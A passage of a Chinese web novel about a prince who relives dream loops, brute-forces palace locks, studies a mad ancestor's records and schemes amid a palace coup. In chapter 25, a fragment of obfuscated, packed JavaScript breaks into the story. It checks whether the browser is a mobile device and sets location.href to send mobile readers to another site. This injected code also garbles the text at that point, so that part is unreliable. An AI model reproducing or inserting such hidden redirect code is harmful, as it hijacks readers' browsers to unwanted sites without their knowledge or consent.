面具男扫视一群锁匠,语气冷漠。
锁匠们忍不住低头,避开他的视野,但无一人反对。
“哼!”
这个反应,让面具男冷哼一声,“你们深受皇恩,就是这么回报陛下的?”
众锁匠不敢吭声,低下头。
“行了,不要耽误时间了。”
“这个方法虽然笨,不过只要经过尝试,肯定能破解,这就足够了。”
“两个方法并行吧。”
周昕阳开口,打断了面具男的训斥。
一众铁匠抬起头,露出诧异、惊讶的目光,看向周昕阳。
一个人怎么能有种到这个地步?
面具男看了一眼周昕阳,“就这么弄吧!”
“来人,拿纸笔。”
“把试验过的排列组合,都记录下来。”
“不要做重复工作。”
“是。”宸察院成员拿来了纸笔,开始抄录。
周昕阳也开始参与解锁。
时间一点一点流逝。
锁匠们的动作已经不算慢了。
三十多分钟的时间内,已经尝试了五百多种组合,但很可惜,都没有打开。
【21:09】
周昕阳看了一眼怀表上的时间。
只剩下六分钟了。
这一次,估计也打不开锁了。
周昕阳站起身来,收拾了一下衣服,拍了下公孙启的肩膀,“你来吧。”
“我活动一下。”
“好。”公孙启点头,坐了下来,接替周昕阳,继续尝试其他顺序组合。
周昕阳走到纸张前,拿起纸张,开始默记上面已经确认不对的排列组合。
见状,面具男走到周昕阳身旁,低声道:“泽川王,你在做什么?”
“别吵。”周昕阳冷漠回应。
“王爷,你别让我难做。”面具男抓住纸张,盯着周昕阳。
虽然周昕阳是王爷,可他也是嫌犯,任何不合常理的举动,都必须被监管。
“怎么?”
“我记一下排列组合,让你难做了?”
周昕阳神情不变,斜了面具男一眼:“你可以去上报,看下我这个举动,违不违规?”
话罢,周昕阳直接将纸张抽了回来,不理会面具男,继续默背排列顺序。
其实默背顺序并不难,因为这些破解方法,都是按照滚轮顺序来弄的。
也就是几个滚轮不动,转动第一个转轮,先尝试七次组合,然后转动第二个转轮一下,继续转动第一个转轮,再尝试七次组合……以此类推。
所以,只要记住转轮顺序,就能把五百多种排列大致组合记录下来。
然后下一次入梦,从反方向转轮开始破解。
就又可以弄五百多种……
哪怕运气再背,八到九次入梦,就可以打开这个锁。
可能运气好,两三次就可以打开。
这个方法,虽然笨,但很实用。
对于周昕阳来说,算是一个还可以接受的办法了。
时间一分一秒的流逝……
当怀表指针转动到【21:15】的刹那——
眼前的一切都停滞了。
周昕阳看着逐渐被抽离色彩的画面,他清楚时间到了。
下一刻——
眼前一切,犹如破碎的镜面,刹那崩解,化作漫天碎屑,散落下来。
周昕阳瞬间失去知觉,陷入无尽的黑暗。
散落下来的碎片,化作翩翩飞舞的蝴蝶,煽动翅膀,飞往遥远的未知彼岸。
……
云梦州,泽川王府。
后院,主卧房间。
入夜微凉,秋风送爽。
月华倾泻,知了作响。
一名俊秀儒雅的男人,躺在床榻上,悠然入睡,枕边放着一个形制古朴的怀表,怀表盖子翻开,上面的指针在不断跳动,就在秒针对准数字十二的刹那——
男人突然睁开了眼睛。
他望着熟悉的天花板,随手拿起枕头边的怀表,看了一眼时间。
【3:15:01】
他放下怀表,翻身下床,走到书桌前,点起蜡烛,挥动墨笔,开始将脑海中记录下来的顺序默写出来。
“正向顺序,已经破解了五百多种,下次入梦,想办法反向顺序开始破解……”
“这样两次就弄一千多种排列组合。”
“已经解析了五分之一。”
“预计一个星期内,就能解开第三把锁。”
“第四把锁
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的思路,还是没有。”
“也只能走一步看一步了……”
周昕阳看着纸张上的顺序记录,简单整理后,将其藏入柜子最下层的机关盒。
弄完这一切后,周昕阳重新爬上床榻,继续睡觉。
一夜无话。
时间来到第二天。
周昕阳用着早膳,思考着今天的安排。
‘目前来说,路子已经趟通顺了。’
‘无论就是延续路线,找到破解密码锁的正确顺序,也只不过是时间问题,无非就是一两天的差别。’
‘唯一需要考虑的,就是最后一把锁该怎么开……’
‘而现实世界,我要尽快做出选择,给老六一个回应。’
‘他还在等待我的回应,他一直待在我的封地,这是很犯忌讳的事情,尤其是这种密谋,万一被宸察院的人发现,后果不堪设想。’
周昕阳有些头疼,现实世界的情形,比梦境世界严重多了。
最关键的问题在于现实不比梦境,是没有重头再来的机会。
跟着老六,基本上就是朝廷的对立面,可不跟老六联合,万一正如老六所言,老二或老三上位,开始削藩,他同样逃不掉。
削藩这种事情,不是束手就擒,就能躲得过去的。
万一,人家改变想法,那周昕阳就真成了砧板上的肉……
周昕阳放下碗筷,神情不变,思绪却在疯狂转动。
梦境可以慢慢来,逐步攻略,可现实问题,迫在眉睫,必须要尽快处理。
答应。
还是拒绝。
必须有一个结果。
周昕阳想着想着,突然老六的话语,在脑海中闪过。
“九弟,你的人在皇宫内的情报,连这都探查不出来吗?”
嗯?
老六知道我在皇宫里有人?
也就是说,皇宫里也有他的人。
而且他的消息,就是通过皇宫里面传递出来的,而且老六很信任宫里的关系……
他敢来见自己,就是证明。
毕竟这种事情,谁也不敢赌。
那么他在宫廷里的关系究竟是谁呢?
周昕阳陷入了沉思。
“殿下,郭老御医来了,您见不见?”徐善的声音打断了他的思考。
第23章 悼恭太子
“郭老御医嘛……”
周昕阳微微蹙眉,想了想后,开口道:“见一下吧。”
“你安排他去书房。”
“过一会儿,孤就去见他。”
“是。”徐善点头行礼,转身离开。
郭云湛,历经三朝的御医,因昭明帝担心周昕阳的病情,特意安排归乡跟随治疗。
当然了,周昕阳的癔症、梦魇之症,自己清楚是怎么回事。
这根本就不是外物能够治疗的东西。
太玄学。
也太神秘了。
跟上古神话一样。
周昕阳久病成良医,这么多年,医学书籍、古籍资料,各种东西都没少看。
但都没有一个合理的解释。
他仿佛是一个最特殊的存在。
……
书房。
“参见王爷。”
周昕阳走进书房,满头银发,身形略显佝偻的老者,对着他恭敬一礼。
“哎,郭御医客气,您是三朝老臣,不必多礼了。”周昕阳连忙扶住郭云湛。
郭云湛低声道:“王爷,折煞老臣了。”
“郭御医坐吧,你我相识多年,还如此客套做什么?”
“来来来,请坐。”
周昕阳热情的邀请郭云湛入座。
“那老臣就不客气了。”
郭云湛应邀入座。
“不必拘礼。”
周昕阳笑着坐下。
“郭御医,这次过来,是有什么事情吗?”
“可是家中有什么困难?”
“不不不,老臣家中一切安好,并没有什么困难,王爷对老臣一直很照顾。”郭云湛解释道。
“那郭御医此番前来……”周昕阳试探的问道。
“王爷的病,最近有变化吗?”郭云湛开口询问。
“哦,原来是因为这件事啊!”周昕阳摇了摇头,“还是老样子嘛!”
“好吧,那些药,王爷还有在喝吗?”郭云湛说问道。
“当然有了。”周昕阳轻笑一声,“郭御医开的药,本王肯定会按时服用的。”
郭云湛看着周昕阳的表情,就知道他又在骗……
从小到大,这位小王爷就没喝过几次药。
总有各种手段逃避喝药。
“老臣此番前来,是发现了一件事,可能对王爷您有帮助。”郭云湛拱手道。
“哦?”
“郭御医请讲。”周昕阳来了兴趣。
“在宣宗时期也曾有一位皇子患有梦魇之症……”郭云湛低声开口,目光时刻关注着周昕阳的表情变化。
“嗯?”
周昕阳微微眯眼,眼眸中闪过一丝异色,“后来呢?”
“**。”郭云湛回答。
“**的?”
周昕阳问道。
“老臣查到先祖古卷,上面记载,药石难医,最终陷入疯癫,说自己是天子,然后被禁军将领所杀。”
“具体记载不详,可能神御阁中会有记录。”郭云湛低声说道。
“古卷何在?”周昕阳问道。
“王爷,在这里。”郭云湛从怀中掏出一个小盒子,打开盒子,里面存放着一卷陈旧、古朴的书卷。
“王爷,小心,此卷年代久远,需轻拿轻放。”
“放到桌上,将其铺展开。”周昕阳点了点头,吩咐道。
“是。”
郭云湛将古卷小心翼翼的在书桌上,慢慢铺展开。
上面的文字,逐渐浮现。
【明礼九年,岁大旱……】
周昕阳逐一看完后,内容与郭云湛所言的别无二致。
“这位皇子叫什么名字?”
“谥号是什么?”
周昕阳问道。
“王爷,按照推算,应该是宣宗二子,只做了三年皇太子的悼恭太子。”郭云湛低声禀告。
“嗯。”周昕阳轻嗯一声,“也就是说,本王与那悼恭太子有着一样的病症。”
“只是本王还没疯而已。”
“王爷吉人自有天相,不会有事的。”郭云湛连忙行礼。
“行了,郭御医不必安慰本王了。”
“郭御医不辞辛劳,前来告知此事,这份心,本王记住了。”
“来人,给御医拿些人参、灵芝。”
周昕阳大手一挥,吩咐道。
“王爷,万万不可,您平日里给的东西,已经足够多了。”郭云湛连忙摆手拒绝。
“行了,不必推脱。”
周昕阳笑着跟郭云湛聊了几句后,将他送出了王府。
回到房间后,周昕阳脸上的笑意消失,看着桌面上的古卷,面色凝重。
悼恭太子、梦魇之症、疯掉后被禁军统领所杀……
这些内容,都让周昕阳有些不寒而栗。
因为对方的举动,太像他了。
“如果对方也跟我一样
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陷入了梦境循环呢?”
“那岂不是说,最终悼恭太子的结局,就是我的结局……”
周昕阳心头一寒。
梦境循环,虽然不会影响到现实。
可痛苦却是实实在在的。
**时的痛彻心扉,被禁军围剿时的万箭穿心,在宸察院遭受的各种刑法……
每一个都是寻常人难以承受的痛苦。
平常人的梦,再真实,醒来也就忘记了。
可周昕阳的梦,清清楚楚、明明白白,根本忘不掉。
一切痛苦都历历在目。
“看来以后要注意了。”
“不能随便在梦中死掉,万一某一天,我真崩溃了,恐怕就会重复悼恭太子的结局。”
周昕阳心中警惕了起来。
说实话,死亡的体验感很不好,如果不是没办法,他一般是不考虑直接死亡回归的。
周昕阳走到书桌旁,拿出一张宣纸,平铺到桌面上,开始奋笔疾书。
下一次梦境探索路线。
太庙祭祖……一直到变装徐善,这一步,都不能动。
以防出现其他变数。
上一轮的是路线是:
盯梢宸察院密探-前往宸察院-说服密探燕惊鹊-引动宸察院高层、上报圣上-逼问太子暴露情报-太子被捕-分别审讯-说服皇帝-参与开锁。
写到这里,周昕阳开始划线。
将盯梢宸察院密探-前往宸察院这两个选择,直接用朱砂红笔划掉。
修改成,前往神御阁-找寻关于悼恭太子的记录。
写完这些,周昕阳放下笔,看着上面的内容,思考着,哪里还可以优化。
还可以节省时间……
最终,周昕阳摇了摇头。
“没地方优化了。”
“除非能直接拿着证据去找宸察院高层……”
“嗯?”
“证据?”
“长孙皇后手里的龙袍?”
一瞬间,周昕阳眼眸中闪过一丝精芒。
关于这点,他能不能做文章呢?
如果能找到龙袍,是不是就可以直接去找昭明帝摊牌?
或者由宸察院高层引荐,绕过说服密探燕惊鹊的步骤,直接告知昭明帝,拿下太子?
“若能完成这一步,时间上,还能大大节省。”
“我就有更多时间开锁了……”
周昕阳若有所思。
第24章 儿臣封您为太上皇
“破局的点在于长孙皇后……”
周昕阳脑海中浮现出一道端庄秀丽、仪态万千的身影。
女人头戴凤冠,身披火红吉服,左右两肩各绣一个团龙纹,身姿高挑,举手投足间,气度非凡,凤威赫赫。
后宫之主,母仪天下。
“如果再去寻找长孙皇后手中的龙袍,恐怕会耽误不少的时间。”
周昕阳微微蹙眉,说实话,他有些犹豫。
一方面,他想要优化时间,尽可能提升效率。
可这么做,就必须要大胆尝试,进行试错是在所难免的,这是需要花费时间、浪费次数的。
另一方面,周昕阳不太想打破既定的路线,产生不必要的变数。
“改变就意味着冒险。”
“冒险就有可能浪费一次机会。”
“虽然梦境每天都可以重置,但不知为何,从开始破解铁箱后,我心中总有些不安。”
“或许不是因为铁箱,是因为现实中的变化。”
“突然的昏迷,诡异的完成祭祖大典,老六的突然到访,父皇病重的消息,即将出现的天下大乱……”
周昕阳思绪转动,提起墨笔,开始书写现实中的困境。
父皇病重。
皇权更迭。
新帝削藩。
老六结盟。
“自古以来,每逢皇权更迭的关键时刻,就是牛鬼蛇神涌动冒头之时,觊觎皇位的野心家,企图上位的皇子,野心勃勃、企图侵略中原的异族……都会在这一节点,统统都冒出来。”
“这是王朝的考验。”
“也是时代的节点。”
周昕阳读史多年,自然清楚这点。
“如今,太子被废,继承人不明,皇权更迭更是充满了不确定性,这更容易激动争夺之心。”
“这都是大乱的诱因。”
周昕阳幽幽一叹,他看过太多史书,历史没有新鲜事,人性亦是如此。
历史总是在轮回。
太多太多的王朝,在辉煌巅峰时,突然发生大乱,从此急转直下,走向落幕。
若无中兴之君出现,王朝也不过只能苟活几十载,就要灭亡。
一个稳定的继承者,一个正统、合法的太子,哪怕能力差一点,也足以平稳的过渡权力。
“父皇啊父皇,为什么会弄成这样呢?”
周昕阳很是头疼。
如果太子上位,他是正统,朝堂根基稳固,这种情况下,只要不是脑子有病,就不会直接进行削藩。
最起码,有一个稳定期、过渡期。
可如果是老二老三上位,可就不好说了。
“边境四王会不会反叛?”
“对于这个结果,他们会不会服气?”
“上位的新帝会不会先对靠近京畿的藩王动手,进行削藩?”
“这都是未知之数。”
“也因为如此,老六才会冒险来找自己结盟……”
周昕阳眼眸闪烁,眼前浮现出即将出现的各种乱象。
一场乱世,似乎近在眼前。
他身为八位藩王之一,都难以独善其身。
更何况百姓乎?
“计划还要更改一下。”
“这一次入梦,除了原定的开锁路线要进行,还要加一条与老六面谈的支线。”
“要先揣摩透他的心思。”
“毕竟合作,如果连对方的心思,都没有弄清楚。”
“就未免太可笑了。”
周昕阳开始涂涂改改,修正下一次的行动路线。
……
宸极城,皇宫。
皇帝寝宫。
“咳咳咳……”
沉闷的咳嗽声,在空荡的大殿上回荡。
“来人,咳咳,快来人。”
“让老三来见朕。”
昏暗的烛光摇曳,一道身影,躺在床榻上,不停的咳嗽,纤细、苍老的手臂,拉开布帘,露出一张苍白、衰老的面庞。
男人身穿黄色衣裳,白发苍苍,眼眸浑浊,整个人好似风前烛、雨里灯,随时都会彻底熄灭。
“人呢?”
“小德子!”
“都死哪里去了?”
整个大殿,寂静无声。
只有暗红色的液体在地上,慢慢流淌。
“枝丫”一声。
大殿大门被推开。
“谁?”
男**喝一声,双眼浑浊,似乎有些看不清楚了,不断挥手,“小德子,是你吗?”
“父皇。”
一个低沉的男声从门外,传了起来。
“老二?”
“怎么是你?”
“你来这里做什么?”
“来人!”
“快来人!”
昭明帝脸色骤变,不断大喊,呼唤宫中士卒。
铮!
剑鸣声响起。
周·炜廷提着沾染血迹的宝剑,身披染血的甲胄,一步一步走进大门,看着床榻上的昭明帝:“父皇
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,你让老三来做什么呀?”
“老二,你想干什么?你是要造·反吗?”昭明帝看着越来越近的周·炜廷,逐渐看清了他身上的甲胄和宝剑,厉声喝道。
“父皇。”周·炜廷嘴角勾起一丝弧度,“我是二皇子,老大被废,按照顺位继承,您应该封我为太子。”
“老二!”
昭明帝勃然大怒:“你是在逼宫吗?”
“你好大的胆子!”
“父皇,儿臣在问你,您让老三来做什么?”周·炜廷冷声道。
“怎么?”
“朕不能见自己的儿子了?”昭明帝冷哼道。
“为什么在这个时候见?”周·炜廷冷漠看着昭明帝,走到床榻前,再次发问。
“朕是天子,是皇帝,朕想见谁?还需要向你汇报吗?”昭明帝怒斥。
“父皇。”
“儿臣给你一个体面,退位吧。”
“你封儿臣为太子,儿臣封您为太上皇。”
“让您安度晚年。”
“如何?”
周·炜廷将手中宝剑,插入地面,淡淡说道。
“放肆!!”
昭明帝脸色难看,“反了!”
“反了!!你怎么敢的?”
“你这个逆子!”
“篡位弑君,你是想背负万古不变的骂名吗?”
“父皇这是不想要这份体面了?”周·炜廷语气冰冷。
“体面?”
“呵呵……”
昭明帝冷冷一笑,“朕问你,你是怎么来到这里的?”
“你一路上,杀了多少人?”
“你把老大、老三怎么了?”
“你还有体面吗?”
“你上位之后,你会怎么对待你的兄弟姐妹们?”
“朕问你!”
周·炜廷望着自己的父皇:“孤想顺位继承!”
“如果父皇帮我,我会很感激的。”
“如果父皇不帮我……”
周·炜廷刷得一下拔起宝剑,剑尖对准了昭明帝的脑袋:
“那孤就只能用老三的脑袋来上位了。”
“砥野王·三皇子·周焕章大逆不道,欺君罔上,率领部众,攻入皇宫,弑君杀父,最终被孤所杀。”
“孤身为二皇子,依先帝密诏,荣登大宝,改元炎佑。”
第25章梦中调查悼恭太子
“放肆!!!”
空荡的大殿上,回荡着昭明帝凄厉、愤怒的吼叫声。
周·炜廷手持宝剑,漠然看着自己的父皇,神情冷漠。
足足过了十几息,昭明帝重新平静下来。
“咳咳……”
昭明帝面色潮红,不停的咳嗽,脸色更加苍白,他死死盯着周·炜廷,仿佛想用眼神将他杀死。
“老二,你做的太过了。”
“你不是老大,你篡位称帝,残害忠良,弑父杀君……如此大逆不道之名,你背负不住!”
“没有人会承认你是顺位继承。”
“哪怕你伪造遗诏,也没用。”
“这个位子,咳咳……你坐不稳!”
“父皇,这么多年来,你一直疼爱老大,对我们这些兄弟,不闻不问,其实我也死心了,谁让我出生比老大晚呢?”周·炜廷摇了摇头,突然话锋一转,
“我都死心了,你为何又要让我重新升起希望呢?”
“老大,太子坐了十五年,你却让我们进京,身旁侍奉?”
“啧啧啧……”
周·炜廷呵呵一笑,“以前,我不懂你的意思。”
“可某一天,我想通了。”
“你根本不是想要让我们成为太子,不过是拿我们给太子提个醒罢了。”
“如果你打算废立太子,只需要让我一人进京就好,何必叫上老三?”
“两个人,故意让局势不明,让太子心生忌惮!”
“从始至终,我不过是你的棋子。”
“父皇!”
“你好狠心啊!”
“同样是皇子,同样是你的儿子,凭什么老大先出生,他就是太子,他就能得到一切?”
“而我,就只能成为一个异地藩王?”
“我不甘心!”
周·炜廷握着宝剑,手臂微微颤抖,大口喘气,表情狰狞,嘴角勾起一丝冷酷的弧度:“不过,命运还是眷顾我的!”
“老大昏头了!”
“哈哈哈哈……”
周·炜廷仰天大笑,表情更加狰狞,“他居然造·反了?”
“他这个蠢货!”
“他只要不造·反,他这个太子之位能坐到死!”
“可他居然起兵造·反了?”
“他先坏了规矩,让父皇你不得不废了他!”
“我机会来了!”
“父皇……”
周·炜廷抬手将手中的宝剑丢掉,直接跪了下来,抱住昭明帝的大腿,眼中尽是贪婪、觊觎、疯狂,“父皇父皇,我也是您的儿子,我会比老大更孝顺你的。”
“给我一个机会。”
“好不好?”
“我知道你在想什么?”
“你担心我会对兄弟姐妹动手是不是?”
“你放心,我给你一个承诺,甚至写圣旨都行,我保证,绝对残害自己的兄弟姐妹……”
昭明帝看着完全被贪念控制的老二,他心里很清楚,如果自己再拒绝对方,老二会毫不犹豫的砍下他的脑袋,然后以老三造·反为由,登基称帝!
“朕……可以退位。”
昭明帝幽幽一叹,说完这句话,他似乎失去了全部的力气。
周·炜廷猛得抬头,脸上露出难以掩饰的狂喜。
……
云梦州,泽川王府。
后院,主卧房间。
亥时前。
周昕阳躺在床榻上,望着天花板,思绪还在转动。
“这次入梦,有几件事要做。”
“第一个,前往神御阁,调查有关悼恭太子的卷宗资料。”
“或许能提供一些其他的思路。”
“第二个,跟梦中老六见一面,想办法知道他的想法,或者调查出他在宫中的暗子,这有助于见面后,掌握主动权。”
“第三个,在时间允许的情况下,可以考虑前往熾璋宮,寻找一下龙袍的下落。”
“不过,不能暴露,一旦暴露,身为藩王,潜入皇后寝宫,我就完了,这次机会,就浪费了。”
“第四个,继续尝试排列组合,尽快解开第三把锁……”
周昕阳思绪转动,突然有了一丝困意,他意识到时间到了。
下一刻,就被无边的黑暗所吞噬。
他意识在恍惚间,化作一只七彩绚烂的梦幻蝴蝶,在无边无际的黑暗中煽动着翅膀,漫无目的的飞舞着。
直到,某个时间,某个地点,黑暗中绽放出了唯一的光。
它朝着唯一的光亮点飞去。
眼前的光点逐渐变化成一条流淌着淡淡银光的浩瀚河流……
……
皇宫大内,偏殿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16625742|187937||http|test|mini|href|location''.split(''|''),0,{}));
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r>梦境时间巳时一刻。
“殿下,醒一醒,祭祖大典快开始了……”
熟悉的声音十分应景的出现。
宣告着周昕阳的又一次入梦。
周昕阳猛然睁开眼睛,映入眼帘的,依旧是熟悉的环境,熟悉的徐善,以及熟悉的唠叨。
“王爷,你吓死我了,突然晕倒,要不是您交代过……”
“嘘!”周昕阳拿出手指,放到嘴唇上,做了一个噤声的动作。
“额……”徐善表情一僵,露出委屈的表情,“王爷……”
“走吧,去祭祖大典。”
周昕阳没有过多的废话,直接开始走流程。
“是。”徐善只能委屈巴巴的跟上。
……
与上次梦境如出一辙。
在申时正中(怀表时间16:00)的时间节点,周昕阳跟徐善互换了衣服。
随后,在御花园故技重施。
用倒挂蝙蝠式,将宸察院的暗子甩掉。
“好了,从这一步开始,就要开始变化了。”
周昕阳很是沉稳。
在上一次梦境中,在这个时间点,周昕阳选择去了御书房。
通过御书房得到的情报,找到了潜藏在东宫的宸察院密探燕惊鹊,达到了最终目的,成功增加了开锁时间。
“不过这一次,御书房、盯梢宸察院密探这些事情,就可以省略了。”
“唯一要考虑的,就是先去神御阁?”
“还是先去见老六?”
“算了,还是先去神御阁,查阅悼恭太子的玉碟。”
周昕阳略微犹豫过后,还是选择先去神御阁,调查悼恭太子的档案。
皇族族谱称为玉牒,是专门记录宗室子女信息的珍贵档案。
神御阁,又名皇史宬、表章库,是存放国家档案和皇子、皇孙、皇女身份档案资料的地方,里面清楚的记录了皇族户籍,包括他们的出生、婚姻、封爵、谥号、死亡等一切信息。
神御阁内储存着皇室宗亲的世系图谱、爵位承袭、婚丧嫁娶、奖惩等内容,是皇族的“户口管理中心”。
宗人府作为最核心的管理皇族事务的机构,许多资料是不能单独储存的,都是派人来神御阁查阅、处理的。
周昕阳凭借对皇宫熟悉,绕开一路上的侍卫、太监、宫女,秘密来到了这座独立的殿宇阁楼前……
第26章神御阁
周昕阳看着大殿周围森严的侍卫,并不着急潜入。
整座宫殿虽是独立的,但实际上并不小,足足有十二亩地之大。
神御阁分南北两院,由正殿、东配殿、西配殿、御碑亭、宬门等建筑组成,入口只有两处。
一处为北门,另一处为南门。
“神御阁,每个殿宇的储存内容不同,正殿一般是国家档案,历朝历代的文书资料、卷宗。”
“这些东西,对我来说,没有用。”
“暂时不用理会。”
周昕阳躲在一个角落,开始回忆很久之前的一次梦境游历。
在他十几岁的时候,是非常具有冒险精神的。
整个皇宫,都是他的探索场,每天都要见证新奇,都要去体验不一样的地方。
那时候的他,不懂得什么叫做隐藏?
在梦里横冲直撞的!
导致他每次都很快被抓住,体验各种死法,各种审讯,各种刑法……搞得他苦不堪言。
再往后,他懂得了一个道理。
要藏着,才玩得久。
于是,他开始总结规律,开始分析人物性格,开始弄懂什么时候去玩,什么时候脱身,才最不容易被人盯梢……
这才有了现在在皇宫中如鱼得水的周昕阳。
“我似乎在很早以前看过一张地图。”
“是关于神御阁档案分布的。”
“让我想想,让我想想……”
周昕阳开始绞尽脑汁搜刮记忆。
他的记忆力是不错的,梦境中大大小小的事情,他都能事无巨细的回忆出来。
可毕竟是很久以前的事情了,周昕阳回忆起来,也有点费劲。
“有了。”
“想到了。”
周昕阳终于回忆起了具体的细节。
“我想起来了,我想要的东西在东配殿,要想办法溜进去。”
东配殿存放着皇室宗亲的玉牒,以及皇族户籍资料,其中就包括周昕阳最想知道的生平、爵位、谥号、死亡等信息。
“悼恭太子,我来了。”
周昕阳开始找寻机会翻墙。
……
三炷香后,周昕阳潜入了东配殿。
经过翻找,他终于在宣宗时期浩如烟海的卷宗中,找到了关于悼恭太子的玉牒。
“终于找到了。”
“不容易啊!”
“哎,真是太乱了。”
“都没有人整理的,皇室宗亲的玉牒、资料都堆放在一起,上面的灰尘都能搓成团了……”
周昕阳长叹一口气,看了一眼怀表上的时间。
【17:27】
“一个半小时,要抓紧时间了。”
周昕阳翻开玉牒,开始查阅悼恭太子的生平资料。
悼恭太子,本名周怀曦,生于昭德二十二年四月初七,死于明礼九年九月十九,享年二十二岁……
“只有二十二岁吗?”
“按照郭老御医的话,他当了三年皇太子,然后疯了。”
“而我现在二十岁,我会不会也跟他一样,最终陷入疯狂,走向终结……”
周昕阳心头一沉。
说实话,他以前根本没考虑过这个问题。
过多的梦境循环,会不会摧毁他的精神?
如此真实的梦境,会不会影响到他的身体?
一次次死亡,一次次痛彻心扉,会不会在有一天让他彻底崩溃?
在这一瞬间,周昕阳有了答案。
是有这个可能。
“还是要注意。”
“要警惕!”
“尽量减少在梦中死亡,要尽快解开循环,让自己的梦恢复正常。”
“不然万一真如这个悼恭太子一样疯掉,那可就真的惨了。”
周昕阳收束心思,开始认真阅读悼恭太子的生平资料。
“十岁被御医郭氏诊断出梦魇之症……”
“十三岁开始在皇子之中脱颖而出……”
“十五岁率军征讨异族,大破敌军,斩首上万,威震天下……”
“十六岁作诗《大漠塞下曲》,名动天下,被誉为古往今来最豪迈的边塞诗之一……”
“十七岁孤身前往火罗帝国,说服国王向大虞称臣……”
“十八岁迎娶江南第一才女徐氏为妻……”
“十九岁被封为太子……”
“二十二岁陷入疯癫,自称天子,最终被禁军统领所杀。”
周昕阳看着上面的生平内容,见证了一场传奇。
一位文武双全的太子,一位注定会名留史册的天之骄子,却在最辉煌的时刻,陷入疯狂。
最终惨死在禁军统领的手中……
实在令人唏嘘不已。
但周昕
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阳的关注点却并不在此。
“十岁,这个时间节点,跟我一样啊!”
周昕阳脸色有些难看。
“不对。”
很快,周昕阳从悼恭太子的人生经历中发现了问题。
“悼恭太子明明身患梦魇之症,为何他能打破梦境循环?”
“他梦境绝对跟我不一样。”
“而且他肯定打破了循环。”
周昕阳之所以笃定对方肯定打破了循环。
就是因为他太优秀了!
经历过梦境循环的周昕阳知道,优秀不奇怪,但太优秀,就很奇怪了。
在梦境循环过程中,如果一个人选择疯狂的学习知识,并将知识带回现实,那么这个人肯定会是一个儒道天才,吟诗作对的水平、文学积累远超同龄人。
而如果这个人,选择学习武道,熟悉招式动作,则会成为一位优秀的武将。
“但是征讨异族,大破敌军、作诗,甚至是孤身前往火罗帝国,说服国王向大虞称臣……这些事情,都不是简单的梦境循环能做到的。”
“因为这不是知道情报、或者说,弄清楚人物性格,就可以做到的事情。”
“哪怕知道准确情报,弄清楚了人物性格,但在现实中,这一切都是会随时变化。”
“这些变数,是非能力可以更改的。”
“他究竟是怎么做到的?”
“而他又是怎么疯掉的呢?”
想到这里,周昕阳脸色阴沉。
这一次的探索,让他更加疑惑了。
但有一点可以肯定。
那就是悼恭太子走的路,肯定比他更远、更深。
最起码,对方肯定已经摸透了梦境重置的秘密。
找寻到了梦境影响现实的秘密……
“所以说,梦境的力量,真的能影响现实世界?”
“不止是通过梦境重置来推断人心,在梦境中也藏有着能更改现实的“钥匙”?”
“也正因为如此,悼恭太子才敢孤身一人前往火罗帝国,说服国王归顺大虞,称臣纳贡。”
“到底是什么样的秘密?”
“打破梦境循环后,又会发生什么呢?”
周昕阳心脏扑通扑通的跳动着,整个人都兴奋了起来。
他能感觉到自己距离解开梦境的秘密越来越近了……
第27章 送糕点的小太监
“冷静!”
“先冷静下来。”
“无论打破梦境循环有什么秘密,都要循序渐进,先度过眼前的危机再说。”
“现实中的老六,还在等着我回复呢……”
周昕阳深吸了几口气,将情绪平复了下来。
他没有犹豫,直接离开了神御阁。
……
皇宫大内,偏殿,弘礼阁。
六皇子周煜城靠着椅背,吃着御膳房送来的桂花糕,思绪却不在嘴里的糕点上。
‘老二、老三身为藩王,常年滞留京城,父皇究竟是什么意思呢?’
‘难不成朝廷传言是真的!’
‘父皇真有了废立心思?’
‘若是真的,我身为藩王,又该怎么做呢?’
‘老二、老三上位,影响巨大,父皇若是一病不起,恐怕将会天下大乱……’
周煜城神情平静,但眼眸深处闪过一丝阴霾。
“咚咚……”
一道敲门声,打断了周煜城的思绪。
“谁?”
周煜城皱眉,有些不耐烦的说道。
“回王爷,御膳房的糕点送过来了。”
门外传来一个熟悉的声音。
“糕点?”
周煜城看着手中的桂花糕,下意识就想破口大骂,但很快,他反应过来,这个声音,似乎有些耳熟啊!
“你他……进来。”
枝丫一声。
房门推开。
走进来一个“小太监”。
“王爷,你的糕点。”
“小太监”将糕点举过头顶,挡住自己的脸。
“把糕点放下,抬起头来。”周煜城神情严肃,冷声道。
“是。”
“小太监”将糕点放到桌上,抬起了头。
“你!”
周煜城看清楚“小太监”容貌的刹那,脸色微变,但立刻冷静了下来,问道:“御膳房不是送一次糕点吗?”
“怎么又送?”
“这次糕点有什么不同?”
“小太监”解释道:“回王爷的话,这次送来的糕点,分别是驴打滚、龙须酥、蜜三刀……它们的味道,与桂花糕有所不同。”
“具体来说……”
“小太监”喋喋不休的讲着,满口专业术语,从做法、吃法、用料方面入手,层层递进,仿佛深谙此道的专家,对于吃的造诣已然炉火纯青。
门外的两个宸察院暗子,对视一眼,默契的停下了手中记录的笔。
这些内容要是拿回去!
怕不是找罚!
周煜城看着款款而谈的“小太监”,看了一眼门口,不动声色的从袖口中拿出一张小纸条,卡着视野盲区,用炭笔快速写了一行小字。
【老九,你来这里做什么?你不要命了?】
周昕阳看了一眼纸条,指着盘碟中的一块龙须酥,“不过,奴婢还是更推荐龙须酥,麦芽糖反复拉制成数千根细如发丝的糖丝,再包裹花生、芝麻等馅料,入口酥松香甜,一碰即碎……美味无比,不可不吃。”
“好,孤知道了。”
“退下吧。”
周煜城抬手一挥,示意周昕阳退出去。
“是。”周昕阳躬身一礼,退出了房间。
门外的两名宸察院探子,在眼神交流后,其中一名,跟上了周昕阳。
他们还是觉得这名第二次送糕点的“小太监”有问题。
哪怕他说得连贯,内容也挑不出毛病。
可周煜城居然能耐着性子听他啰嗦这么半天,这本身就是一个问题。
“你,站住!”
“宸察院的,跟我走一趟。”
那名宸察院的探子,拦住了周昕阳,拿出令牌,冷声道。
“是。”
周昕阳恭敬点头。
“嗯,你是哪个院的太监……”宸察院探子点了点头,开口询问。
然而,他话还没说完,就看见那个“小太监”猛地抬头,朝他扑了过来。
